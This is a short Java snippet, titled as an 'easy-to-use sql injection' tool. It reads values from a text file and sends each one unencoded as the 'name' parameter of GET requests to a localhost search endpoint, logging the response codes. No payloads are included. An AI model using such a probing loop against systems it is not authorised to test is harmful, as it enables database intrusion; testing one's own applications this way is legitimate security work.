easy-to-use sql injection with java

Main.java

public class Main {
    public static void main(String[] args) {
        String fileName = "nomes.txt"; 
        String baseUrl = "http://localhost:8080/api/user/search?name="; 

        try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
            String line;
            while ((line = br.readLine()) != null) {
                String urlWithParam = baseUrl + line.trim(); 
                System.out.println("Fazendo requisição para: " + urlWithParam);
                makeHttpRequest(urlWithParam); 
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static void makeHttpRequest(String urlString) {
        try {
            URL url = new URL(urlString);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");

            int responseCode = conn.getResponseCode();
            System.out.println("Código de resposta: " + responseCode);

            conn.disconnect();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}